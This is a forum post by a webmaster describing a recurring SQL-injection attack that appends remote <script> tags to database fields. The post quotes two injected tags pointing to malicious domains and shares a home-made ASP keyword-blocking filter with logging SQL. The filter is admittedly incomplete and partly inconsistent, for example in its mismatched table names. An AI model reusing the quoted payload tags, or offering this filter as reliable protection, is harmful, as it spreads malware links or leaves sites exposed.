关于最近各中小网站数据库被注入各种javascript代码的问题~!本人目前解决法~!但不完善,还没搞懂攻击原理及病毒特性。
特征:数据库各表凡是字段长度超过50的都被在字符串末端注入 <script src=http://cn.daxia123.cn/cn.js></script> 或 <script src=http://3bom%62%2Ecom/c.js></script> ,并且是不断的注入,一天能注入很多次, 目前发现3种注入的js代码。
本人初期也跟各种介绍一样疯狂加防注入的关键词,可无济于事,根本就不管用,反复检查服务器无异样,网站接二连三的被挂掉,然后只能updae,最后只能给数据库用户开只读权限来防止注入,但是问题还没完,后来发现在用户登录管理系统的时候无法登录,于是发现数据库用户系统表的密码等列被注入(其他的表没事),只读权限也能注入么?怀疑sa的用户名密码被破解,于是换了一遍密码,但还是不行继续被注入。
然后开始在各论坛上找解决方法,在本论坛上看到大家有各种解决方法,于是尝试、思考、然后发现了些问题,自己更改了一下防注入代码及网站程序,48个小时没出问题了,先拿来与大家分享。
asp 网站
1、防注入get方式要加对Request.QueryString长度的判断 此方法比较管用。 If Len(Request.QueryString) > 80 then Response.End()
2、防注入Post方式要加对来源地址的判断,防止外部提交,虽然目前攻击是get方式,但防止再次变种攻击。
3、防注入要加清空客户端Cookies代码,发现凡是访问过被注入网站的客户端的Cookies信息被篡改,javascript代码被加入其中,用Cookies的网站基本的被挂,清空Cookies也不管用,照样有~! 最好也加上Cookies防注入。
'清空客户端Cookies
For each cookie in Request.Cookies
response.cookies(cookie)=""
next
4、建议将网站用Cookies的兄弟们将程序改为Session的,虽然iis用Session会不稳定,但安全第一
5、安装urlscan 3.0 设置一下对服务器有益无害,防止今后变种攻击引发的问题。
还有希望瑞星能帮忙查查问题,为什么客户端清空Cookies也不管用???个人觉得凡是访问过被挂网站都会有此问题,也许是病毒,杀毒软件也不报病毒。
下边是我的防注入,分享个大家,将代码文件include到数据库连接文件后,希望大家有建议的帮帮更改一下
<%
Fy_In = "'|and|exec|insert|select|delete|update|count|chr|mid|master|truncate|char|declare|varchar|text|ntext|nvarchar|declare|exe|truncate|<script|/script>|is_srvrolemember"
Fy_Inf = split(Fy_In,"|")
'--------POST部份------------------
If Request.Form <> "" Then
SiteDomain = "xxxx.cn"
URL = Request.ServerVariables("HTTP_REFERER")
if URL <> "" then
URLDomain = Split(URL,"/")(2)
if instr(URLDomain,SiteDomain) = 0 then Response.Redirect (""&SiteDomain&"")
else
Conn.Close
Set Conn = Nothing
Response.Redirect (""&SiteDomain&"")
end if
For Each Fy_Post In Request.Form
For Fy_Xh=0 To Ubound(Fy_Inf)
If Instr(LCase(Request.Form(Fy_Post)),Fy_Inf(Fy_Xh))<>0 Then
Action_Type = "POST"
CanShu = Fy_Post
Data = Trim(Request.Form(Fy_Post))
Call Alert(Action_Type,CanShu,Data)
End If
Next
Next
End If
'--------GET部份------------------
If Len(Request.QueryString) > 80 then
Action_Type = "GET"
CanShu = "超过允许长度"
Data = Request.QueryString
Call Alert(Action_Type,CanShu,Data)
end if
If Request.QueryString <> "" Then
For Each Fy_Get In Request.QueryString
For Fy_Xh=0 To Ubound(Fy_Inf)
If Instr(LCase(Request.QueryString(Fy_Get)),Fy_Inf(Fy_Xh))<>0 Then
Action_Type = "GET"
CanShu = Fy_Get
Data = Trim(Request.QueryString(Fy_Get))
Call Alert(Action_Type,CanShu,Data)
End If
Next
Next
End If
'--------Cookies部份------------------
For each cookie in Request.Cookies
response.cookies(cookie)=""
next
If Len(Request.Cookies) > 80 then
Action_Type = "COOKIES"
CanShu = "超过允许长度"
Data = Request.Cookies
Call Alert(Action_Type,CanShu,Data)
end if
If Request.Cookies <> "" Then
For Each Fy_Cookies In Request.Cookies
For Fy_Xh=0 To Ubound(Fy_Inf)
If Instr(LCase(Request.Cookies(Fy_Cookies)),Fy_Inf(Fy_Xh))<>0 Then
Action_Type = "COOKIES"
CanShu = Fy_Cookies
Data = Trim(Request.Cookies(Fy_Cookies))
Call Alert(Action_Type,CanShu,Data)
End If
Next
Next
End If
Function Alert(Action_Type,CanShu,Data)
ip = Request.ServerVariables("HTTP_X_FORWARDED_FOR")
If ip = "" Then ip = Request.ServerVariables("REMOTE_ADDR")
Conn.Execute("insert into Fg_SQL_Safe (Ip,Time,URL,Action_Type,CanShu,Data) values('"&ip&"','"&Now()&"','"&Request.ServerVariables("URL")&"','"&Action_Type&"','"&CanShu&"','"&Replace(Data,"'","''")&"')")
Conn.Close
Set Conn = Nothing
Response.Redirect "
http://download.rising.com.cn/Middle/RavolSKY.exe"
Response.End()
End Function
%>
'数据库建表代码
SET ANSI_NULLS ON
GO
SET QUOTED_IDENTIFIER ON
GO
SET ANSI_PADDING ON
GO
CREATE TABLE [dbo].[SQL_Safe](
[id] [int] IDENTITY(1,1) NOT NULL,
[Ip] [varchar](20) NULL,
[Time] [datetime] NULL,
[URL] [varchar](100) NULL,
[Action_Type] [varchar](20) NULL,
[CanShu] [varchar](50) NULL,
[Data] [ntext] NULL,
CONSTRAINT [PK_SQL_Safe] PRIMARY KEY CLUSTERED
(
[id] ASC
)WITH (PAD_INDEX = OFF, STATISTICS_NORECOMPUTE = OFF, IGNORE_DUP_KEY = OFF, ALLOW_ROW_LOCKS = ON, ALLOW_PAGE_LOCKS = ON) ON [PRIMARY]
) ON [PRIMARY] TEXTIMAGE_ON [PRIMARY]
GO
SET ANSI_PADDING OFF
用户系统信息:Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)